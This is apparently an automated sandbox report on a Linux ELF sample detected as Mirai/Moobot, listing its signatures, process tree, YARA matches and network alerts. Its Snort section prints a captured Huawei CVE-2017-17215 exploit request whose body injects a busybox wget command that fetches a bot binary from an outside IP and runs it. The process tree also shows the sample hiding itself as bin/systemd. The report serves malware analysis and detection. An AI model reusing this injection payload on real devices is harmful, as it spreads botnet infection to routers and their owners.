Edit tour

Linux Analysis Report
QHyplBDoPc.elf

Overview

General Information

Sample Name:	QHyplBDoPc.elf
Original Sample Name:	41796b9cdca22a336648ad24362c4951.elf
Analysis ID:	865138
MD5:	41796b9cdca22a336648ad24362c4951
SHA1:	737ddbfaab4f3487db4eabd3fa3a132190651825
SHA256:	27c4a14fc209d95b2a3f6bfc6652320e4e380672615282d26b92ed3861275637
Tags:	32elfmiraisparc
Infos:

Detection

Mirai, Moobot

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Yara detected Mirai

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Moobot

Snort IDS alert for network traffic

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Sets full permissions to files and/or directories

Yara signature match

Executes the "mkdir" command used to create folders

Uses the "uname" system call to query kernel version information (possible evasion)

Executes the "chmod" command used to modify permissions

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Detected TCP or UDP traffic on non-standard ports

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Sample has stripped symbol table

Sample tries to set the executable flag

HTTP GET or POST without a user agent

Executes commands using a shell command-line interpreter

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

Analysis Advice

All domains contacted by the sample do not resolve. The sample is likely an old dropper which does no longer work.

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

All HTTP servers contacted by the sample do not answer. The sample is likely an old dropper which does no longer work.

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	865138
Start date and time:	2023-05-13 18:07:42 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample file name:	QHyplBDoPc.elf
Original Sample Name:	41796b9cdca22a336648ad24362c4951.elf
Detection:	MAL
Classification:	mal100.troj.linELF@0/0@6384/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/QHyplBDoPc.elf
PID:	6228
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	^p
Standard Error:

Process Tree

system is lnxubuntu20

QHyplBDoPc.elf (PID: 6228, Parent: 6124, MD5: 7dc1c0e23cd5e102bb12e5c29403410e) Arguments: /tmp/QHyplBDoPc.elf

QHyplBDoPc.elf New Fork (PID: 6230, Parent: 6228)

sh (PID: 6230, Parent: 6228, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd && mv /tmp/QHyplBDoPc.elf bin/systemd; chmod 777 bin/systemd"

sh New Fork (PID: 6232, Parent: 6230)

rm (PID: 6232, Parent: 6230, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/systemd

sh New Fork (PID: 6233, Parent: 6230)

mkdir (PID: 6233, Parent: 6230, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 6234, Parent: 6230)

mv (PID: 6234, Parent: 6230, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/QHyplBDoPc.elf bin/systemd

sh New Fork (PID: 6235, Parent: 6230)

chmod (PID: 6235, Parent: 6230, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 bin/systemd

QHyplBDoPc.elf New Fork (PID: 6237, Parent: 6228)

QHyplBDoPc.elf New Fork (PID: 6239, Parent: 6237)

QHyplBDoPc.elf New Fork (PID: 6240, Parent: 6237)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b https://unit42.paloaltonetworks.com/moobot-d-link-devices/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
QHyplBDoPc.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
QHyplBDoPc.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
QHyplBDoPc.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe358:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe36c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe380:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe394:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe40c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe420:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe434:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe448:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe45c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe470:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe484:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe498:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
6239.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6239.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6239.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe358:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe36c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe380:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe394:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe40c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe420:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe434:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe448:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe45c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe470:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe484:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe498:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6228.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6228.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6228.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe358:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe36c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe380:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe394:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe3f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe40c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe420:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe434:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe448:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe45c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe470:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe484:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe498:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xe4e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: QHyplBDoPc.elf PID: 6228	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: QHyplBDoPc.elf PID: 6228	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xe5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xf9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x121:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x135:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x149:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x15d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x185:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x199:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1ad:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1c1:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1d5:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1e9:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1fd:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x211:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x225:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x239:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x24d:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x261:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x275:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: QHyplBDoPc.elf PID: 6239	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: QHyplBDoPc.elf PID: 6239	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3a63:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3a77:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3a8b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3a9f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3ab3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3ac7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3adb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3aef:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3b03:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3b17:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3b2b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3b3f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3b53:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3b67:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3b7b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3b8f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3ba3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3bb7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3bcb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3bdf:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3bf3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 5 entries

Snort Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.41.216

Timestamp:	192.168.2.23197.234.41.21658826372152835222 05/13/23-18:08:34.724352
SID:	2835222
Source Port:	58826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 31 31 38 2e 31 33 35 2e 31 32 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.118.135.125 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown

DNS traffic detected: queries for: bot3.neonodes.site

System Summary

Malicious sample detected (through community Yara rule)

Source: QHyplBDoPc.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6239.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6228.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: QHyplBDoPc.elf PID: 6228, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: QHyplBDoPc.elf PID: 6239, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: QHyplBDoPc.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6239.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6228.1.00007f5a6c011000.00007f5a6c022000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: QHyplBDoPc.elf PID: 6228, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: QHyplBDoPc.elf PID: 6239, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: ELF static info symbol of initial sample

.symtab present: no

